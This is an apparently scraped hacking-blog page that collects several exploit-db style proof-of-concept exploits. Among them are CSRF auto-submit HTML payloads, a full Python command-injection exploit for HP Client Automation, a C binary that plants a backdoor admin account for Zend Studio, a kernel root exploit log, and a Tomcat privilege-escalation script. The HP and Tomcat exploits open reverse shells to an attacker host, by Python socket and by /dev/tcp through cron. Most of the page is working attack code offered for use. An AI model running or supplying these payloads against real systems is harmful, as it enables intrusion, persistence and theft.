Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110926

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Waves Audio Service:	http://www.maxx.com
By Ross Marks: 			http://www.rossmarks.co.uk
Exploit-db:				https://www.exploit-db.com/author/?a=8724
Category:				Local
Tested on:				Windows 10 x86/x64

1) Unquoted Service Path Privilege Escalation 

Max audio drivers (dell default ones) installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.

A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.

PoC:

C:\WINDOWS\system32>sc qc WavesSysSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WavesSysSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Waves Audio Services
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
# Exploit Title: Categorizator 0.3.1 | SQL Injection
# Date: 03/09/16
# Exploit Author: Wad Deek
# Vendor Homepage: http://lelogiciellibre.net/telecharger/annuaire-web.php
# Software Link: ftp://ftp2.lelogiciellibre.net/lelogiciellibre/annu/categorizator031.zip
# Version: 0.3.1
# Tested on: Xampp on Windows7
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools

################################################################
PoC : http://localhost/cms/categorizator/vote.php?id_site=1'
################################################################
            
Minecraft Launcher:     https://minecraft.net
Version:                1.6.61
By Ross Marks:          http://www.rossmarks.co.uk
Exploit-db:             https://www.exploit-db.com/author/?a=8724
Category:               Local
Tested on:              Windows 10 x86/x64
 
1) Insecure File Permissions Local Privilege Escalation
 
Minecraft's launcher (minecraftLauncher.exe) suffers from an elevation of privileges 
vulnerability which can be used by a simple user that can change the executable file 
with a binary of choice. The vulnerability exist due to the improper permissions,
with the 'F' flag (Full) for 'Users' group, making the entire directory 
'Minecraft' and its files and sub-dirs world-writable.

This would allow an attacker the ability to inject code or replace the MinecraftLauncher 
executable and have it run in the context of the system.
 
PoC:
 
C:\Program Files (x86)\Minecraft>icacls MinecraftLauncher.exe
MinecraftLauncher.exe BUILTIN\Users:(I)(F)
                      NT AUTHORITY\SYSTEM:(I)(F)
                      BUILTIN\Administrators:(I)(F)
                      PENTEST\ross.marks:(I)(F)
                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                      APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
            
# Exploit Title :              Spacemarc News - Cross-Site Request
Forgery ( Add New Post)
# Author :                     Besim
# Google Dork :                 -
# Date :                       10/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.spacemarc.it
# Software link :
 http://www.hotscripts.com/listings/jump/download/107255


*########################### CSRF PoC ###############################*

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://site_name/news/admin/inserisci.php", true);
        xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data;boundary=---------------------------7815509202030471153167006625");
        xhr.withCredentials = true;
        var body ="-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"titolo\"\r\n" +
          "\r\n" +
          "MavilerTester\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"im\"\r\n" +
          "\r\n" +
          "IM\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"size\"\r\n" +
          "\r\n" +
          "Normale\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"color\"\r\n" +
          "\r\n" +
          "Color\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"helpbox\"\r\n" +
          "\r\n" +
          "[u]text[/u]\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"testo\"\r\n" +
          "\r\n" +
          "tester\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"immagine\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"userfile\";filename=\"\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"letture\"\r\n" +
          "\r\n" +
          "0\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"categoria\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"abilita_commenti\"\r\n" +
          "\r\n" +
          "on\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"notifica_commenti\"\r\n"+
          "\r\n" +
          "on\r\n" +
          "-----------------------------7815509202030471153167006625\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "Inserisci\r\n" +
          "-----------------------------7815509202030471153167006625--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

*####################################################################*
            
# Exploit Title :              Maian Weblog 4.0 - Cross-Site Request
Forgery ( Add New Post)
# Author :                     Besim
# Google Dork :                 -
# Date :                       10/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.maianweblog.com
# Software link :
 http://www.hotscripts.com/listings/jump/download/21864




*########################### CSRF PoC ###############################*


<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://site_name/mainb/publish/admin/index.php?cmd=add"
method="POST">
      <input type="hidden" name="process" value="1" />
      <input type="hidden" name="title" value="Murat" />
      <input type="hidden" name="comments"
value="Muratttttt&#13;&#10;<br&#32;&#47;>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

*####################################################################*
            
# Exploit Title: [HP Client - Automation Command Injection]
# Date: [10/10/2016]
# Exploit Author: [SlidingWindow] , Twitter: @kapil_khot
# Vendor Homepage: [Previosuly HP, now http://www.persistentsys.com/]
# Version: [Tested on version 7.9 but should work on  8.1, 9.0, 9.1 too]
# Tested on: [Windows 7 and CentOS release 6.7 (Final)]
# CVE : [CVE-2015-1497]

#Can run following commands on linux target
	#Useradd Payload: hide hide	sh -c ' useradd amiroot -p ID/JlXFIWowsE  -g root'
	#Reverse Shell Payload: hide hide 	sh -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.35.140\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"


#Runs following commands on Windows target
	#hide hide 	cmd.exe /c net user hack3r "hack3r" /add
	#hide hide 	cmd.exe /c net localgroup administrators hack3r /add
	#hide hide 	cmd.exe /c net localgroup "Remote Desktop Users" hack3r /add
	#hide hide 	cmd.exe /c netsh firewall set service RemoteDesktop enable
	#hide hide 	cmd/exe /c netsh firewall set service type=RemoteDesktop mode=enable profile=ALL
	#hide hide 	cmd/exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


import sys,socket

print("\n# Exploit Title: [HP Client - Automation Command Injection]\n# Date: [10/10/2016]\n# Exploit Author: [SlidingWindow] , Twitter: @kapil_khot\n# Vendor Homepage: [Previosuly HP, now http://www.persistentsys.com/]\n# Version: [7.9, 8.1, 9.0, 9.1]\n# Tested on: [Windows 7, CentOS release 6.7 (Final)]\n# CVE : [CVE-2015-1497]\n")

def exploit_Linux(target_IP,exploit_param):
	if exploit_param == "1":
		print("\n[+]Adding privileged user amiroot/nopass")
		request = "\x00"
		request+= "\x31\x32\x33\x31\x32\x33\x00"
		request+= "\x41\x42\x43\x00"
		request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x73\x68\x20\x2d\x63\x20\x27\x20\x75\x73\x65\x72\x61\x64\x64\x20\x61\x6d\x69\x72\x6f\x6f\x74\x20\x2d\x70\x20\x49\x44\x2f\x4a\x6c\x58\x46\x49\x57\x6f\x77\x73\x45\x20\x20\x2d\x67\x20\x72\x6f\x6f\x74\x27\x00"

		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((target_IP, 3465))
		s.send(request)

		response = s.recv(1024)

		if response == "\x00":
			print("[+]Successfully added user amiroot/nopass")
		else:
			print("[-]Failed to add user amiroot/nopass")
		s.close()

	elif exploit_param == "2":
		print("\n[+]Trying to get a reverse shell")
		request = "\x00"
		request+= "\x31\x32\x33\x31\x32\x33\x00"
		request+= "\x41\x42\x43\x00"

		#Change this
		#Reverse Shell Payload: hide hide	sh -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.35.140\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
		request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x73\x68\x20\x2d\x63\x20\x22\x70\x79\x74\x68\x6f\x6e\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x6f\x63\x6b\x65\x74\x2c\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2c\x6f\x73\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x73\x6f\x63\x6b\x65\x74\x2e\x41\x46\x5f\x49\x4e\x45\x54\x2c\x73\x6f\x63\x6b\x65\x74\x2e\x53\x4f\x43\x4b\x5f\x53\x54\x52\x45\x41\x4d\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x5c\x22\x31\x30\x2e\x31\x30\x2e\x33\x35\x2e\x31\x34\x30\x5c\x22\x2c\x34\x34\x33\x29\x29\x3b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x30\x29\x3b\x20\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x31\x29\x3b\x20\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x32\x29\x3b\x70\x3d\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x63\x61\x6c\x6c\x28\x5b\x5c\x22\x2f\x62\x69\x6e\x2f\x73\x68\x5c\x22\x2c\x5c\x22\x2d\x69\x5c\x22\x5d\x29\x3b\x27\x22\x00"

		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((target_IP, 3465))
		s.send(request)

		response = s.recv(1024)

		if response == "\x00":
			print("[+]Exploit completed successfully.\n[+]Try to SSH into the target with username/password: amiroot/nopass")
		else:
			print("[-]Failed to get reverse shell")
		s.close()

	else:
		print("\n[-]Invalid exploit parameter provided for Linux target")
		sys.exit()


def exploit_Windows(target_IP):
	
	counter = 0
	print("[+]Adding a local user hack3r/hack3r")

	request = "\x00"
	request+= "\x31\x32\x33\x31\x32\x33\x00"
	request+= "\x41\x42\x43\x00"
	request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x68\x61\x63\x6b\x33\x72\x20\x22\x68\x61\x63\x6b\x33\x72\x22\x20\x2f\x61\x64\x64\x00"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target_IP, 3465))
	s.send(request)

	response = s.recv(1024)

	if response == "\x00":
		print("[+]Successfully added user hack3r/hack3r")
		counter+= 1
	else:
		print("[-]Failed to add user hack3r/hack3r")
	s.close()


	print("[+]Adding user 'hack3r' to Local Administrator's group")
	request = "\x00"
	request+= "\x31\x32\x33\x31\x32\x33\x00"
	request+= "\x41\x42\x43\x00"
	request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x68\x61\x63\x6b\x33\x72\x20\x2f\x61\x64\x64\x00"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target_IP, 3465))
	s.send(request)
	response = s.recv(1024)

	if response == "\x00":
		print("[+]Successfully added user 'hack3r' to Local Administrators group")
		counter+= 1
	else:
		print("[-]Failed to add user to 'hack3r' Local Administrators group")
	s.close()

	#Add user Hack3r to "Remote Desktop Users" Group
	print("[+]Adding user 'hack3r' to 'Remote Desktop Users' group")
	request = "\x00"
	request+= "\x31\x32\x33\x31\x32\x33\x00"
	request+= "\x41\x42\x43\x00"
	request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x22\x52\x65\x6d\x6f\x74\x65\x20\x44\x65\x73\x6b\x74\x6f\x70\x20\x55\x73\x65\x72\x73\x22\x20\x68\x61\x63\x6b\x33\x72\x20\x2f\x61\x64\x64\x00"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target_IP, 3465))
	s.send(request)
	response = s.recv(1024)
	
	if response == "\x00":
		print("[+]Successfully added user 'hack3r' to 'Remote Desktop Users' group")
		counter+= 1
	else:
		print("[-]Failed to add user 'hack3r' to 'Remote Desktop Users' group")
	s.close()

	#Enable RDP
	print("[+]Trying to enable Remote Desktop Service")
	request = "\x00"
	request+= "\x31\x32\x33\x31\x32\x33\x00"
	request+= "\x41\x42\x43\x00"
	request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x73\x68\x20\x66\x69\x72\x65\x77\x61\x6c\x6c\x20\x73\x65\x74\x20\x73\x65\x72\x76\x69\x63\x65\x20\x52\x65\x6d\x6f\x74\x65\x44\x65\x73\x6b\x74\x6f\x70\x20\x65\x6e\x61\x62\x6c\x65\x00"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target_IP, 3465))
	s.send(request)
	response = s.recv(1024)
	
	if response == "\x00":
		print("[+]Successfully enabled Remote Desktop Service")
		counter+= 1
	else:
		print("[-]Failed to enable Remote Desktop Service")
	s.close()


	#Enable RDP for all profiles
	print("[+]Trying to enable Remote Desktop Service for all firewall profiles")
	request = "\x00"
	request+= "\x31\x32\x33\x31\x32\x33\x00"
	request+= "\x41\x42\x43\x00"
	request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x73\x68\x20\x66\x69\x72\x65\x77\x61\x6c\x6c\x20\x73\x65\x74\x20\x73\x65\x72\x76\x69\x63\x65\x20\x74\x79\x70\x65\x3d\x52\x65\x6d\x6f\x74\x65\x44\x65\x73\x6b\x74\x6f\x70\x20\x6d\x6f\x64\x65\x3d\x65\x6e\x61\x62\x6c\x65\x20\x70\x72\x6f\x66\x69\x6c\x65\x3d\x41\x4c\x4c\x00"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target_IP, 3465))
	s.send(request)
	response = s.recv(1024)
	
	if response == "\x00":
		print("[+]Successfully enabled Remote Desktop Service for all firewall profiles")
		counter+= 1
	else:
		print("[-]Failed to enable Remote Desktop Service for all firewall  profiles")
	s.close()

	#Setup target to listen for RDP connections
	print("[+]Setting up the target server to listen to RDP connections")
	request = "\x00"
	request+= "\x31\x32\x33\x31\x32\x33\x00"
	request+= "\x41\x42\x43\x00"
	request+= "\x68\x69\x64\x65\x20\x68\x69\x64\x65\x09\x09\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x72\x65\x67\x20\x61\x64\x64\x20\x22\x48\x4b\x45\x59\x5f\x4c\x4f\x43\x41\x4c\x5f\x4d\x41\x43\x48\x49\x4e\x45\x5c\x53\x59\x53\x54\x45\x4d\x5c\x43\x75\x72\x72\x65\x6e\x74\x43\x6f\x6e\x74\x72\x6f\x6c\x53\x65\x74\x5c\x43\x6f\x6e\x74\x72\x6f\x6c\x5c\x54\x65\x72\x6d\x69\x6e\x61\x6c\x20\x53\x65\x72\x76\x65\x72\x22\x20\x2f\x76\x20\x66\x44\x65\x6e\x79\x54\x53\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x20\x2f\x74\x20\x52\x45\x47\x5f\x44\x57\x4f\x52\x44\x20\x2f\x64\x20\x30\x20\x2f\x66\x00"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target_IP, 3465))
	s.send(request)
	response = s.recv(1024)
	
	if response == "\x00":
		print("[+]Successfully setup the target server to listen to RDP connections")
		counter+= 1
	else:
		print("[-]Failed to setup the target server to listen to RDP connections")
	s.close()

	if counter == 6:
		print("\n[+]Exploit completed successfully. Try RDP to the target with username/password: hack3r/hack3r")
	else:
		print("\n[-]Exploit Failed..")

#main() function here
def main():
	
	if len(sys.argv) < 2:
		print "\n[-]Usage: \nWindows Target:\n\tpython HP_Client_Automation_Exploit.py <target_ip> Windows\n\nLinux Target:\n\tpython HP_Client_Automation_Exploit.py <target_ip> Linux [1|2]\n\t\t1.Add user\n\t\t2.Reverse Shell"
		sys.exit()

	target_IP = sys.argv[1]
	target_OS = sys.argv[2].lower()
	
	if target_OS == "windows":
		exploit_Windows(target_IP)
	elif target_OS == "linux":
		exploit_param = sys.argv[3]
		exploit_Linux(target_IP,exploit_param)
	else:
		print("\n[-]Invalid taret Operating System selected.")
		sys.exit()
		
if __name__ == '__main__':
	main()
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/ZEND-STUDIO-PRIVILEGE-ESCALATION.txt

[+] ISR: ApparitionSec



Vendor:
============
www.zend.com



Product:
======================
ZendStudio IDE v13.5.1

Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines mobile development with PHP and includes a sample mobile
app with source code.



Vulnerability Type:
=====================
Privilege Escalation



CVE Reference:
==============
N/A


Vulnerability Details:
=====================

ZendStudio IDE uses weak insecure permissions settings on its files/directory as the “Everyone” group has full access on it.
Allowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges
on the affected system.

"Everyone" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.

Any user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or
replace the ZendStudio executable and have it run in the context of the system.


e.g.

c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe

ZendStudio.exe Everyone:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(F)
               BUILTIN\Administrators:(I)(F)
               BUILTIN\Users:(I)(RX)


x86_64 version ...


c:\Program Files\Zend>icacls * | more
Zend Studio 13.5.1 Everyone:(F)
                   Everyone:(OI)(CI)(IO)(F)
                   NT SERVICE\TrustedInstaller:(I)(F)
                   NT SERVICE\TrustedInstaller:(I)(CI)(I
                   NT AUTHORITY\SYSTEM:(I)(F)
                   NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F
                   BUILTIN\Administrators:(I)(F)
                   BUILTIN\Administrators:(I)(OI)(CI)(IO
                   BUILTIN\Users:(I)(RX)
                   BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                   CREATOR OWNER:(I)(OI)(CI)(IO)(F)



Exploit code(s):
===============

1) Compile below 'C' code name it as "ZendStudio.exe"


#include<windows.h>

int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio 13.5.1\\~ZendStudio.exe",0);
return 0;
} 


2) Rename original "ZendStudio.exe" to "~ZendStudio.exe"


3) Place our malicious "ZendStudio.exe" in the ZendStudio directory


4) Logout and wait for a more privileged user to login and use ZendStudio IDE then BOOM!!!!! later,
go back and login with your shiny new account.



Disclosure Timeline:
========================================
Vendor Notification: September 30, 2016
October 8, 2016 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
===============
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
# Exploit Title: Linux kernel <= 4.6.2 - Local Privileges Escalation via IP6T_SO_SET_REPLACE compat setsockopt call
# Date: 2016.10.8
# Exploit Author: Qian Zhang@MarvelTeam Qihoo 360
# Version: Linux kernel <= 4.6.2
# Tested on: Ubuntu 16.04.1 LTS Linux 4.4.0-21-generic
# CVE: CVE-2016-4997
# Reference:http://www.openwall.com/lists/oss-security/2016/09/29/10
# Contact: tyrande000@gmail.com

#DESCRIPTION
#===========
#The IPv6 netfilter subsystem in the Linux kernel through 4.6.2 does not validate certain offset fields,
#which allows local users to escalade privileges via an IP6T_SO_SET_REPLACE compat setsockopt call with ip6_tables module loaded.

zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ls
compile.sh  enjoy  enjoy.c  pwn  pwn.c  version.h
zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ sudo modprobe ip6_tables
[sudo] password for zhang_q: 
zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ./pwn 
pwn begin, let the bullets fly . . .
and wait for a minute . . .
pwn over, let's enjoy!
preparing payload . . .
trigger modified tty_release . . .
got root, enjoy :)
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# 
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# hostnamectl 
   Static hostname: ubuntu
         Icon name: computer-vm
           Chassis: vm
        Machine ID: 355cdf4ce8a048288640c2aa933c018f
    Virtualization: vmware
  Operating System: Ubuntu 16.04.1 LTS
            Kernel: Linux 4.4.0-21-generic
      Architecture: x86-64
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40489.zip
            
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-5425 
- Release date: 10.10.2016
- Revision: 1
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

Apache Tomcat (packaging on RedHat-based distros) - Root Privilege Escalation


II. BACKGROUND
-------------------------

"The Apache Tomcat® software is an open source implementation of the 
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket 
technologies. The Java Servlet, JavaServer Pages, Java Expression Language 
and Java WebSocket specifications are developed under the Java Community 
Process.

The Apache Tomcat software is developed in an open and participatory 
environment and released under the Apache License version 2. 
The Apache Tomcat project is intended to be a collaboration of the 
best-of-breed developers from around the world.

Apache Tomcat software powers numerous large-scale, mission-critical web 
applications across a diverse range of industries and organizations. 
Some of these users and their stories are listed on the PoweredBy wiki page.
"

http://tomcat.apache.org/


III. INTRODUCTION
-------------------------

Apache Tomcat packages provided by default repositories of RedHat-based 
distributions (including CentOS, RedHat, OracleLinux, Fedora,  etc.) 
create a tmpfiles.d configuration file with insecure permissions which
allow attackers who are able to write files with tomcat user permissions
(for example, through a vulnerability in web application hosted on Tomcat)
to escalate their privileges from tomcat user to root and fully compromise 
the target system.


IV. DESCRIPTION
-------------------------

The vulnerability stems from the tomcat.conf file installed by default 
by packages on RedHat-based systems with write permissions for the tomcat
group:

[root@centos7 ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf 
-rw-rw-r--. 1 root tomcat 361 Oct  9 23:58 /usr/lib/tmpfiles.d/tomcat.conf

The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage 
temporary files including their creation.

Attackers could very easily exploit the weak permissions on tomcat.conf to 
inject configuration that creates a rootshell or remote reverse shell that 
allows them to execute arbitrary commands with root privileges.

Injected malicious settings would be processed whenever 
/usr/bin/systemd-tmpfiles gets executed. 

systemd-tmpfiles is executed by default on boot on RedHat-based systems
through systemd-tmpfiles-setup.service service as can be seen below:


---[ /usr/lib/systemd/system/systemd-tmpfiles-setup.service ]---

[...]
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev

----------------------------------------------------------------

Depending on the system in use, the execution of systemd-tmpfiles could also 
be triggered by other services, cronjobs, startup scripts  etc.


The vulnerability could potentially get exploited by remote attackers in
combination with a vulnerable web application hosted on Tomcat if they
managed to find a path traversal (e.g in a file upload feature) or an arbitrary 
file write/append vulnerability. This would allow them to append settings
to /usr/lib/tmpfiles.d/tomcat.conf file and achieve code execution with root
privileges without a prior local access/shell on the system.
This vector could prove useful to attackers, for example if they were unable to 
obtain a tomcat-privileged shell/codeexec by uploading a .jsp webshell through a 
vulnerable file upload feature due to restrictions imposed by Tomcat security 
manager, or a read-only webroot etc.

It is worth to note that systemd-tmpfiles does not stop on syntax errors when 
processing configuration files which makes exploitation easier as attackers only
need to inject their payload after a new line and do not need to worry 
about garbage data potentially prepended by a vulnerable webapp in case of
Arbitrary File Write/Append exploitation.



V. PROOF OF CONCEPT EXPLOIT
-------------------------

-----------[ tomcat-RH-root.sh ]---------

#!/bin/bash
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
# CVE-2016-5425
#
# Full advisory at:
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
#
# Discovered and coded by:
# Dawid Golunski
# http://legalhackers.com
#
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
#
# For testing purposes only.
#

ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090

echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
echo -e  "  Discovered by Dawid Golunski\n"
echo "[+] Checking vulnerability"
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'
if [ $? -ne 0 ]; then
	echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"
	exit 1
fi
echo -e "\n[+] Your system is vulnerable!"

echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"
_eof_

echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
cat /usr/lib/tmpfiles.d/tomcat.conf
echo -e "\n[+] Payload injected! Wait for your root shell...\n"
echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
the rootshell will be created in /usr/share/tomcat/rootsh. 
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"


--------------[ eof ]--------------------


Example run:

-bash-4.2$ rpm -qa | grep -i tomcat
tomcat-7.0.54-2.el7_1.noarch

-bash-4.2$ cat /etc/redhat-release 
CentOS Linux release 7.2.1511 (Core) 

-bash-4.2$ id
uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

-bash-4.2$ ./tomcat-RH-root.sh 

* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *
  Discovered by Dawid Golunski

[+] Checking vulnerability
-rw-rw-r--. 1 root tomcat 43 Oct 10 02:39 /usr/lib/tmpfiles.d/tomcat.conf

[+] Your system is vulnerable!

[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf...
[+] /usr/lib/tmpfiles.d/tomcat.conf contains:
f /var/run/tomcat.pid 0644 tomcat tomcat -
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
